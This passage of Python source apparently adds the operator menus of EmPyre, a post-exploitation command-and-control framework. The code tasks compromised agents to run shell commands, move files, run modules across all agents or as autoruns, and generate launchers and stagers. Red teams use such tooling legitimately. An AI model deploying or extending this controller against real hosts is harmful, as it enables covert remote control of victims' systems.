self.mainMenu.complete_usemodule(text, line, begidx, endidx) + + + def complete_usestager(self, text, line, begidx, endidx): + "Tab-complete an EmPyre stager module path." + return self.mainMenu.complete_usestager(text, line, begidx, endidx) + + +class AgentMenu(cmd.Cmd): + + def __init__(self, mainMenu, sessionID): + + cmd.Cmd.__init__(self) + + self.mainMenu = mainMenu + + self.sessionID = sessionID + + self.doc_header = 'Agent Commands' + + # try to resolve the sessionID to a name + name = self.mainMenu.agents.get_agent_name(sessionID) + + # set the text prompt + self.prompt = '(EmPyre: '+helpers.color(name, 'red')+') > ' + + # listen for messages from this specific agent + dispatcher.connect( self.handle_agent_event, sender=dispatcher.Any) + + # display any results from the database that were stored + # while we weren't interacting with the agent + results = self.mainMenu.agents.get_agent_results(self.sessionID) + if results: + print "\n" + results.rstrip('\r\n') + + # def preloop(self): + # traceback.print_stack() + + def handle_agent_event(self, signal, sender): + """ + Handle agent event signals. + """ + if "[!] Agent" in signal and "exiting" in signal: pass + + name = self.mainMenu.agents.get_agent_name(self.sessionID) + + if (str(self.sessionID) + " returned results" in signal) or (str(name) + " returned results" in signal): + # display any results returned by this agent that are returned + # while we are interacting with it + results = self.mainMenu.agents.get_agent_results(self.sessionID) + if results: + print "\n" + results + + elif "[+] Part of file" in signal and "saved" in signal: + if (str(self.sessionID) in signal) or (str(name) in signal): + print helpers.color(signal) + + + # print a nicely formatted help menu + # stolen/adapted from recon-ng + def print_topics(self, header, cmds, cmdlen, maxcol): + if cmds: + self.stdout.write("%s\n"%str(header)) + if self.ruler: + self.stdout.write("%s\n"%str(self.ruler * len(header))) + for cmd in cmds: + self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("\n") + + + def emptyline(self): pass + + + def default(self, line): + "Default handler" + + print helpers.color("[!] Command not recognized, use 'help' to see available commands") + + + def do_back(self, line): + "Go back a menu." + return True + + + def do_main(self, line): + "Go back to the main menu." + raise NavMain() + + + def do_listeners(self, line): + "Jump to the listeners menu." + raise NavListeners() + + + def do_agents(self, line): + "Jump to the Agents menu." + raise NavAgents() + + + def do_help(self, *args): + "Displays the help menu or syntax for particular commands." + + cmd.Cmd.do_help(self, *args) + + + def do_list(self, line): + "Lists all active agents (or listeners)." + + if line.lower().startswith("listeners"): + self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:]))) + elif line.lower().startswith("agents"): + self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:]))) + else: + print helpers.color("[!] Please use 'list [agents/listeners] '.") + + + def do_rename(self, line): + "Rename the agent." + + parts = line.strip().split(" ") + oldname = self.mainMenu.agents.get_agent_name(self.sessionID) + + # name sure we get a new name to rename this agent + if len(parts) == 1: + # replace the old name with the new name + result = self.mainMenu.agents.rename_agent(oldname, parts[0]) + if result: + self.prompt = "(EmPyre: "+helpers.color(parts[0],'red')+") > " + else: + print helpers.color("[!] Please enter a new name for the agent") + + + def do_info(self, line): + "Display information about this agent" + + # get the agent name, if applicable + agent = self.mainMenu.agents.get_agent(self.sessionID) + messages.display_agent(agent) + + + def do_exit(self, line): + "Task agent to exit." + + try: + choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_EXIT") + # update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit") + return True + + except KeyboardInterrupt as e: print "" + + + def do_clear(self, line): + "Clear out agent tasking." + self.mainMenu.agents.clear_agent_tasks(self.sessionID) + + + def do_cd(self, line): + "Change an agent's active directory" + + line = line.strip() + + if line != "": + # task the agent with this shell command + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", 'os.chdir("%s"); print "Directory changed to: %s"' % (line, line)) + # update the agent log + msg = "Tasked agent to change active directory to: %s" % (line) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + + def do_jobs(self, line): + "Return jobs or kill a running job." + + parts = line.split(" ") + + if len(parts) == 1: + if parts[0] == '': + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_GETJOBS") + # update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs") + else: + print helpers.color("[!] Please use form 'jobs kill JOB_ID'") + elif len(parts) == 2: + jobID = parts[1].strip() + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_STOPJOB", jobID) + # update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID)) + + + def do_sleep(self, line): + "Task an agent to 'sleep interval [jitter]'" + + parts = line.strip().split(" ") + delay = parts[0] + + if delay == "": + # task the agent to display the delay/jitter + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; print 'delay/jitter = ' + str(delay)+'/'+str(jitter)") + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display delay/jitter") + + if len(parts) > 0 and parts[0] != "": + delay = parts[0] + jitter = 0.0 + if len(parts) == 2: + jitter = parts[1] + + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("delay", delay, self.sessionID) + self.mainMenu.agents.set_agent_field("jitter", jitter, self.sessionID) + + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'"%(delay,jitter,delay,jitter)) + + # update the agent log + msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + + def do_lostlimit(self, line): + "Task an agent to display change the limit on lost agent detection" + + parts = line.strip().split(" ") + lostLimit = parts[0] + + if lostLimit == "": + # task the agent to display the lostLimit + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print 'lostLimit = ' + str(lostLimit)") + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display lost limit") + else: + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, self.sessionID) + + # task the agent with the new lostLimit + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit)) + + # update the agent log + msg = "Tasked agent to change lost limit " + str(lostLimit) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + + def do_killdate(self, line): + "Get or set an agent's killdate (01/01/2016)." + + parts = line.strip().split(" ") + killDate = parts[0] + + if killDate == "": + + # task the agent to display the killdate + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global killDate; print 'killDate = ' + str(killDate)") + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display killDate") + else: + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("kill_date", killDate, self.sessionID) + + # task the agent with the new killDate + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'"%(killDate, killDate)) + + # update the agent log + msg = "Tasked agent to set killdate to %s" %(killDate) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + + def do_workinghours(self, line): + "Get or set an agent's working hours (9:00-17:00)." + + parts = line.strip().split(" ") + hours = parts[0] + + if hours == "": + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print 'workingHours = ' + str(workingHours)") + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours") + + else: + # update this agent's information in the database + self.mainMenu.agents.set_agent_field("working_hours", hours, self.sessionID) + + # task the agent with the new working hours + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'"%(hours)) + + # update the agent log + msg = "Tasked agent to set working hours to: %s" % (hours) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + + def do_shell(self, line): + "Task an agent to use a shell command." + + line = line.strip() + + if line != "": + # task the agent with this shell command + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", str(line)) + # update the agent log + msg = "Tasked agent to run shell command: %s" % (line) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + + def do_python(self,line): + "Task an agent to run a Python command." + + line = line.strip() + + if line != "": + # task the agent with this shell command + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", str(line)) + # update the agent log + msg = "Tasked agent to run Python command %s" % (line) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + + def do_sysinfo(self, line): + "Task an agent to get system information." + + # task the agent with this shell command + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SYSINFO") + # update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information") + + + def do_download(self,line): + "Task an agent to download a file." + + line = line.strip() + + if line != "": + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_DOWNLOAD", line) + # update the agent log + msg = "Tasked agent to download: %s" % (line) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + + def do_upload(self,line): + "Task an agent to upload a file." + + # "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext" + # absolute paths accepted + parts = line.strip().split(" ") + uploadname = "" + + if len(parts) > 0 and parts[0] != "": + if len(parts) == 1: + # if we're uploading the file with its original name + uploadname = os.path.basename(parts[0]) + else: + # if we're uploading the file as a different name + uploadname = parts[1].strip() + + if parts[0] != "" and os.path.exists(parts[0]): + # read in the file and base64 encode it for transport + f = open(parts[0], 'r') + fileData = f.read() + f.close() + + msg = "Tasked agent to upload " + parts[0] + " : " + hashlib.md5(fileData).hexdigest() + # update the agent log with the filename and MD5 + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + fileData = helpers.encode_base64(fileData) + # upload packets -> "filename | script data" + data = uploadname + "|" + fileData + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_UPLOAD", data) + else: + print helpers.color("[!] Please enter a valid file path to upload") + + + def do_usemodule(self, line): + "Use an EmPyre Python module." + + module = line.strip() + + if module not in self.mainMenu.modules.modules: + print helpers.color("[!] Error: invalid module") + else: + l = ModuleMenu(self.mainMenu, line, agent=self.sessionID) + l.cmdloop() + + + def do_searchmodule(self, line): + "Search EmPyre module names/descriptions." + + searchTerm = line.strip() + + if searchTerm.strip() == "": + print helpers.color("[!] Please enter a search term.") + else: + self.mainMenu.modules.search_modules(searchTerm) + + + # def do_updateprofile(self, line): + # "Update an agent connection profile." + + # # profile format: + # # TaskURI1,TaskURI2,...|UserAgent|OptionalHeader1,OptionalHeader2... + + # profile = line.strip().strip() + + # if profile != "" : + # # load up a profile from a file if a path was passed + # if os.path.exists(profile): + # f = open(profile, 'r') + # profile = f.readlines() + # f.close() + # # strip out profile comments and blank lines + # profile = [l for l in profile if (not l.startswith("#") and l.strip() != "")] + # profile = profile[0] + # if not profile.strip().startswith("\"/"): + # print helpers.color("[!] Task URIs in profiles must start with / and be enclosed in quotes!") + # else: + # updatecmd = "Update-Profile " + profile + + # # task the agent to update their profile + # self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", updatecmd) + + # # update the agent's profile in the database + # self.mainMenu.agents.update_agent_profile(self.sessionID, profile) + + # # print helpers.color("[*] Tasked agent "+self.sessionID+" to run " + updatecmd) + # # update the agent log + # msg = "Tasked agent to update profile " + profile + # self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + # else: + # print helpers.color("[*] Profile format is \"TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2...\"") + + + # def complete_jobs(self, text, line, begidx, endidx): + # "Tab-complete jobs management options." + + # mline = line.partition(' ')[2] + # offs = len(mline) - len(text) + # return [s[offs:] for s in ["kill"] if s.startswith(mline)] + + + def complete_usemodule(self, text, line, begidx, endidx): + "Tab-complete an EmPyre Python module path" + return self.mainMenu.complete_usemodule(text, line, begidx, endidx) + + + def complete_upload(self, text, line, begidx, endidx): + "Tab-complete an upload file path" + return helpers.complete_path(text,line) + + + # def complete_updateprofile(self, text, line, begidx, endidx): + # "Tab-complete an updateprofile path" + # return helpers.complete_path(text,line) + + +class ListenerMenu(cmd.Cmd): + + def __init__(self, mainMenu): + cmd.Cmd.__init__(self) + self.doc_header = 'Listener Commands' + + self.mainMenu = mainMenu + + # get all the the stock listener options + self.options = self.mainMenu.listeners.get_listener_options() + + # set the prompt text + self.prompt = '(EmPyre: '+helpers.color("listeners", color="blue")+') > ' + + # display all active listeners on menu startup + messages.display_listeners(self.mainMenu.listeners.get_listeners()) + + # def preloop(self): + # traceback.print_stack() + + # print a nicely formatted help menu + # stolen/adapted from recon-ng + def print_topics(self, header, cmds, cmdlen, maxcol): + if cmds: + self.stdout.write("%s\n"%str(header)) + if self.ruler: + self.stdout.write("%s\n"%str(self.ruler * len(header))) + for cmd in cmds: + self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("\n") + + + def emptyline(self): pass + + + def do_exit(self, line): + "Exit EmPyre." + raise KeyboardInterrupt + + + def do_list(self, line): + "List all active listeners (or agents)." + + if line.lower().startswith("agents"): + self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:]))) + elif line.lower().startswith("listeners"): + self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:]))) + else: + self.mainMenu.do_list("listeners " + str(line)) + + + def do_back(self, line): + "Go back a menu." + return True + + + def do_main(self, line): + "Go back to the main menu." + raise NavMain() + + + def do_set(self, line): + "Set a listener option." + parts = line.split(" ") + if len(parts) > 1: + self.mainMenu.listeners.set_listener_option(parts[0], " ".join(parts[1:])) + else: + print helpers.color("[!] Please enter a value to set for the option") + + + def do_unset(self, line): + "Unset a listener option." + option = line.strip() + self.mainMenu.listeners.set_listener_option(option, '') + + + def do_info(self, line): + "Display listener options." + + parts = line.split(" ") + + if parts[0] != '': + if self.mainMenu.listeners.is_listener_valid(parts[0]): + listener = self.mainMenu.listeners.get_listener(parts[0]) + messages.display_listener_database(listener) + else: + print helpers.color("[!] Please enter a valid listener name or ID") + else: + messages.display_listener(self.mainMenu.listeners.options) + + + def do_options(self, line): + "Display listener options." + + parts = line.split(" ") + + if parts[0] != '': + if self.mainMenu.listeners.is_listener_valid(parts[0]): + listener = self.mainMenu.listeners.get_listener(parts[0]) + messages.display_listener_database(listener) + else: + print helpers.color("[!] Please enter a valid listener name or ID") + else: + messages.display_listener(self.mainMenu.listeners.options) + + + def do_kill(self, line): + "Kill one or all active listeners." + + listenerID = line.strip() + + if listenerID.lower() == "all": + try: + choice = raw_input(helpers.color("[>] Kill all listeners? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + self.mainMenu.listeners.killall() + except KeyboardInterrupt as e: print "" + + else: + if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID): + self.mainMenu.listeners.shutdown_listener(listenerID) + self.mainMenu.listeners.delete_listener(listenerID) + else: + print helpers.color("[!] Invalid listener name or ID.") + + + def do_execute(self, line): + "Execute a listener with the currently specified options." + self.mainMenu.listeners.add_listener_from_config() + + + def do_run(self, line): + "Execute a listener with the currently specified options." + self.do_execute(line) + + + def do_agents(self, line): + "Jump to the Agents menu." + raise NavAgents() + + + def do_usestager(self, line): + "Use an EmPyre stager." + + parts = line.split(" ") + + if parts[0] not in self.mainMenu.stagers.stagers: + print helpers.color("[!] Error: invalid stager module") + + elif len(parts) == 1: + l = StagerMenu(self.mainMenu, parts[0]) + l.cmdloop() + elif len(parts) == 2: + listener = parts[1] + if not self.mainMenu.listeners.is_listener_valid(listener): + print helpers.color("[!] Please enter a valid listener name or ID") + else: + self.mainMenu.stagers.set_stager_option('Listener', listener) + l = StagerMenu(self.mainMenu, parts[0]) + l.cmdloop() + else: + print helpers.color("[!] Error in ListenerMenu's do_userstager()") + + + def do_launcher(self, line): + "Generate an initial launcher for a listener." + + nameid = self.mainMenu.listeners.get_listener_id(line.strip()) + if nameid : + listenerID = nameid + else: + listenerID = line.strip() + + if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID): + # set the listener value for the launcher + stager = self.mainMenu.stagers.stagers["launcher"] + stager.options['Listener']['Value'] = listenerID + + # and generate the code + print stager.generate() + else: + print helpers.color("[!] Please enter a valid listenerID") + + + def complete_set(self, text, line, begidx, endidx): + "Tab-complete listener option values." + + if line.split(" ")[1].lower() == "host": + return ["http://" + helpers.lhost()] + + elif line.split(" ")[1].lower() == "redirecttarget": + # if we're tab-completing a listener name, return all the names + listenerNames = self.mainMenu.listeners.get_listener_names() + + endLine = " ".join(line.split(" ")[1:]) + mline = endLine.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in listenerNames if s.startswith(mline)] + + elif line.split(" ")[1].lower() == "type": + # if we're tab-completing the listener type + listenerTypes = ["native", "pivot", "hop", "foreign", "meter"] + endLine = " ".join(line.split(" ")[1:]) + mline = endLine.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in listenerTypes if s.startswith(mline)] + + elif line.split(" ")[1].lower() == "certpath": + return helpers.complete_path(text,line,arg=True) + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in self.options if s.startswith(mline)] + + + def complete_unset(self, text, line, begidx, endidx): + "Tab-complete listener option values." + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in self.options if s.startswith(mline)] + + + def complete_usestager(self, text, line, begidx, endidx): + "Tab-complete an EmPyre stager module path." + return self.mainMenu.complete_usestager(text, line, begidx, endidx) + + + def complete_kill(self, text, line, begidx, endidx): + "Tab-complete listener names" + + # get all the listener names + names = self.mainMenu.listeners.get_listener_names() + ["all"] + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in names if s.startswith(mline)] + + + def complete_launcher(self, text, line, begidx, endidx): + "Tab-complete listener names/IDs" + + # get all the listener names + names = self.mainMenu.listeners.get_listener_names() + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in names if s.startswith(mline)] + + + def complete_info(self, text, line, begidx, endidx): + "Tab-complete listener names/IDs" + return self.complete_launcher(text, line, begidx, endidx) + + + def complete_options(self, text, line, begidx, endidx): + "Tab-complete listener names/IDs" + return self.complete_launcher(text, line, begidx, endidx) + + +class ModuleMenu(cmd.Cmd): + + def __init__(self, mainMenu, moduleName, agent=None): + cmd.Cmd.__init__(self) + self.doc_header = 'Module Commands' + + self.mainMenu = mainMenu + + # get the current module/name + self.moduleName = moduleName + self.module = self.mainMenu.modules.modules[moduleName] + + # set the prompt text + self.prompt = '(EmPyre: '+helpers.color(self.moduleName, color="blue")+') > ' + + # if this menu is being called from an agent menu + if agent: + # resolve the agent sessionID to a name, if applicable + agent = self.mainMenu.agents.get_agent_name(agent) + self.module.options['Agent']['Value'] = agent + + # def preloop(self): + # traceback.print_stack() + + def validate_options(self): + "Make sure all required module options are completed." + + sessionID = self.module.options['Agent']['Value'] + + for option,values in self.module.options.iteritems(): + if values['Required'] and ((not values['Value']) or (values['Value'] == '')): + print helpers.color("[!] Error: Required module option missing.") + return False + + # check if the module needs admin privs + if self.module.info['NeedsAdmin']: + # if we're running this module for all agents, skip this validation + if sessionID.lower() != "all" and sessionID.lower() != "autorun": + if not self.mainMenu.agents.is_agent_elevated(sessionID): + print helpers.color("[!] Error: module needs to run in an elevated context.") + return False + + # if the module isn't opsec safe, prompt before running + if not self.module.info['OpsecSafe']: + try: + choice = raw_input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red")) + if not (choice.lower() != "" and choice.lower()[0] == "y"): + return False + except KeyboardInterrupt as e: + print "" + return False + + return True + + + def emptyline(self): pass + + + # print a nicely formatted help menu + # stolen/adapted from recon-ng + def print_topics(self, header, cmds, cmdlen, maxcol): + if cmds: + self.stdout.write("%s\n"%str(header)) + if self.ruler: + self.stdout.write("%s\n"%str(self.ruler * len(header))) + for cmd in cmds: + self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("\n") + + + def do_agents(self, line): + "Jump to the Agents menu." + raise NavAgents() + + + def do_listeners(self, line): + "Jump to the listeners menu." + raise NavListeners() + + + def do_exit(self, line): + "Exit EmPyre." + raise KeyboardInterrupt + + + def do_main(self, line): + "Return to the main menu." + return True + + + def do_list(self, line): + "Lists all active agents (or listeners)." + + if line.lower().startswith("listeners"): + self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:]))) + elif line.lower().startswith("agents"): + self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:]))) + else: + print helpers.color("[!] Please use 'list [agents/listeners] '.") + + + def do_reload(self, line): + "Reload the current module." + + print "\n" + helpers.color("[*] Reloading module") + "\n" + + # reload the specific module + self.mainMenu.modules.reload_module(self.moduleName) + # regrab the reference + self.module = self.mainMenu.modules.modules[self.moduleName] + + + def do_info(self, line): + "Display module options." + messages.display_module(self.moduleName, self.module) + + + def do_options(self, line): + "Display module options." + messages.display_module(self.moduleName, self.module) + + + def do_back(self, line): + "Return to the main menu." + return True + + + def do_main(self, line): + "Go back to the main menu." + raise NavMain() + + + def do_set(self, line): + "Set a module option." + + parts = line.split() + + try: + option = parts[0] + if option not in self.module.options: + print helpers.color("[!] Invalid option specified.") + + elif len(parts) == 1 : + # "set OPTION" + # check if we're setting a switch + if self.module.options[option]['Description'].startswith("Switch."): + self.module.options[option]['Value'] = "True" + else: + print helpers.color("[!] Please specify an option value.") + else: + # otherwise "set OPTION VALUE" + option = parts[0] + value = " ".join(parts[1:]) + + if value == '""' or value == "''": value = "" + + self.module.options[option]['Value'] = value + except: + print helpers.color("[!] Error in setting option, likely invalid option name.") + + + def do_unset(self, line): + "Unset a module option." + + option = line.split()[0] + + if line.lower() == "all": + for option in self.module.options: + self.module.options[option]['Value'] = '' + if option not in self.module.options: + print helpers.color("[!] Invalid option specified.") + else: + self.module.options[option]['Value'] = '' + + + def do_usemodule(self, line): + "Use an EmPyre Python module." + + module = line.strip() + + if module not in self.mainMenu.modules.modules: + print helpers.color("[!] Error: invalid module") + else: + l = ModuleMenu(self.mainMenu, line, agent=self.module.options['Agent']['Value']) + l.cmdloop() + + + def do_execute(self, line): + "Execute the given EmPyre module." + + if not self.validate_options(): + return + + agentName = self.module.options['Agent']['Value'] + moduleData = self.module.generate() + + if not moduleData or moduleData == "": + print helpers.color("[!] Error: module produced an empty script") + dispatcher.send("[!] Error: module produced an empty script", sender="EmPyre") + return + + try: + moduleData.decode('ascii') + except UnicodeDecodeError: + print helpers.color("[!] Error: module source contains non-ascii characters") + return + + # strip all comments from the module + moduleData = helpers.strip_python_comments(moduleData) + + taskCommand = "" + + # build the appropriate task command and module data blob + if str(self.module.info['Background']).lower() == "true": + # if this module should be run in the background + extention = self.module.info['OutputExtension'] + if extention and extention != "": + # if this module needs to save its file output to the server + # format- [15 chars of prefix][5 chars extension][data] + saveFilePrefix = self.moduleName.split("/")[-1] + moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData + taskCommand = "TASK_CMD_JOB_SAVE" + else: + taskCommand = "TASK_CMD_JOB" + else: + # if this module is run in the foreground + extention = self.module.info['OutputExtension'] + if self.module.info['OutputExtension'] and self.module.info['OutputExtension'] != "": + # if this module needs to save its file output to the server + # format- [15 chars of prefix][5 chars extension][data] + saveFilePrefix = self.moduleName.split("/")[-1][:15] + moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData + taskCommand = "TASK_CMD_WAIT_SAVE" + else: + taskCommand = "TASK_CMD_WAIT" + + # if we're running the module on all modules + if agentName.lower() == "all": + try: + choice = raw_input(helpers.color("[>] Run module on all agents? [y/N] ", "red")) + if choice.lower() != "" and choice.lower()[0] == "y": + + # signal everyone with what we're doing + print helpers.color("[*] Tasking all agents to run " + self.moduleName) + dispatcher.send("[*] Tasking all agents to run " + self.moduleName, sender="EmPyre") + + # actually task the agents + for agent in self.mainMenu.agents.get_agents(): + + sessionID = agent[1] + + # set the agent's tasking in the cache + self.mainMenu.agents.add_agent_task(sessionID, taskCommand, moduleData) + + # update the agent log + dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="EmPyre") + msg = "Tasked agent to run module " + self.moduleName + self.mainMenu.agents.save_agent_log(sessionID, msg) + + except KeyboardInterrupt as e: print "" + + # set the script to be the global autorun + elif agentName.lower() == "autorun": + + self.mainMenu.agents.set_autoruns(taskCommand, moduleData) + dispatcher.send("[*] Set module " + self.moduleName + " to be global script autorun.", sender="EmPyre") + + else: + if not self.mainMenu.agents.is_agent_present(agentName): + print helpers.color("[!] Invalid agent name.") + else: + # set the agent's tasking in the cache + self.mainMenu.agents.add_agent_task(agentName, taskCommand, moduleData) + + # update the agent log + dispatcher.send("[*] Tasked agent "+agentName+" to run module " + self.moduleName, sender="EmPyre") + msg = "Tasked agent to run module " + self.moduleName + self.mainMenu.agents.save_agent_log(agentName, msg) + + + def do_run(self, line): + "Execute the given EmPyre module." + self.do_execute(line) + + + def complete_set(self, text, line, begidx, endidx): + "Tab-complete a module option to set." + + options = self.module.options.keys() + + if line.split(" ")[1].lower() == "agent": + # if we're tab-completing "agent", return the agent names + agentNames = self.mainMenu.agents.get_agent_names() + ["all", "autorun"] + endLine = " ".join(line.split(" ")[1:]) + + mline = endLine.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in agentNames if s.startswith(mline)] + + elif line.split(" ")[1].lower() == "listener": + # if we're tab-completing a listener name, return all the names + listenerNames = self.mainMenu.listeners.get_listener_names() + endLine = " ".join(line.split(" ")[1:]) + + mline = endLine.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in listenerNames if s.startswith(mline)] + + elif line.split(" ")[1].lower().endswith("path"): + return helpers.complete_path(text,line,arg=True) + + elif line.split(" ")[1].lower().endswith("file"): + return helpers.complete_path(text,line,arg=True) + + elif line.split(" ")[1].lower().endswith("host"): + return [helpers.lhost()] + + # otherwise we're tab-completing an option name + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in options if s.startswith(mline)] + + + def complete_unset(self, text, line, begidx, endidx): + "Tab-complete a module option to unset." + + options = self.module.options.keys() + ["all"] + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in options if s.startswith(mline)] + + + def complete_usemodule(self, text, line, begidx, endidx): + "Tab-complete an EmPyre Python module path." + return self.mainMenu.complete_usemodule(text, line, begidx, endidx) + + + +class StagerMenu(cmd.Cmd): + + def __init__(self, mainMenu, stagerName, listener=None): + cmd.Cmd.__init__(self) + self.doc_header = 'Stager Menu' + + self.mainMenu = mainMenu + + # get the current stager name + self.stagerName = stagerName + self.stager = self.mainMenu.stagers.stagers[stagerName] + + # set the prompt text + self.prompt = '(EmPyre: '+helpers.color("stager/"+self.stagerName, color="blue")+') > ' + + # if this menu is being called from an listener menu + if listener: + # resolve the listener ID to a name, if applicable + listener = self.mainMenu.listeners.get_listener(listener) + self.stager.options['Listener']['Value'] = listener + + + def validate_options(self): + "Make sure all required stager options are completed." + + for option,values in self.stager.options.iteritems(): + if values['Required'] and ((not values['Value']) or (values['Value'] == '')): + print helpers.color("[!] Error: Required stager option missing.") + return False + + listenerName = self.stager.options['Listener']['Value'] + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + print helpers.color("[!] Invalid listener ID or name.") + return False + + return True + + + def emptyline(self): pass + + + # print a nicely formatted help menu + # stolen/adapted from recon-ng + def print_topics(self, header, cmds, cmdlen, maxcol): + if cmds: + self.stdout.write("%s\n"%str(header)) + if self.ruler: + self.stdout.write("%s\n"%str(self.ruler * len(header))) + for cmd in cmds: + self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("\n") + + + def do_exit(self, line): + "Exit EmPyre." + raise KeyboardInterrupt + + + def do_main(self, line): + "Return to the main menu." + return True + + + def do_list(self, line): + "Lists all active agents (or listeners)." + + if line.lower().startswith("listeners"): + self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:]))) + elif line.lower().startswith("agents"): + self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:]))) + else: + print helpers.color("[!] Please use 'list [agents/listeners] '.") + + + def do_info(self, line): + "Display stager options." + messages.display_stager(self.stagerName, self.stager) + + + def do_options(self, line): + "Display stager options." + messages.display_stager(self.stagerName, self.stager) + + + def do_back(self, line): + "Return to the main menu." + return True + + + def do_main(self, line): + "Go back to the main menu." + raise NavMain() + + + def do_set(self, line): + "Set a stager option." + + parts = line.split() + + try: + option = parts[0] + if option not in self.stager.options: + print helpers.color("[!] Invalid option specified.") + + elif len(parts) == 1 : + # "set OPTION" + # check if we're setting a switch + if self.stager.options[option]['Description'].startswith("Switch."): + self.stager.options[option]['Value'] = "True" + else: + print helpers.color("[!] Please specify an option value.") + else: + # otherwise "set OPTION VALUE" + option = parts[0] + value = " ".join(parts[1:]) + + if value == '""' or value == "''": value = "" + + self.stager.options[option]['Value'] = value + except: + print helpers.color("[!] Error in setting option, likely invalid option name.") + + + def do_unset(self, line): + "Unset a stager option." + + option = line.split()[0] + + if line.lower() == "all": + for option in self.stager.options: + self.stager.options[option]['Value'] = '' + if option not in self.stager.options: + print helpers.color("[!] Invalid option specified.") + else: + self.stager.options[option]['Value'] = '' + + + def do_generate(self, line): + "Generate/execute the given EmPyre stager." + + if not self.validate_options(): + return + + stagerOutput = self.stager.generate() + + savePath = '' + if 'OutFile' in self.stager.options: + savePath = self.stager.options['OutFile']['Value'] + + if savePath != '': + # make the base directory if it doesn't exist + if not os.path.exists(os.path.dirname(savePath)) and os.path.dirname(savePath) != '': + os.makedirs(os.path.dirname(savePath)) + + # if we need to write binary output for a 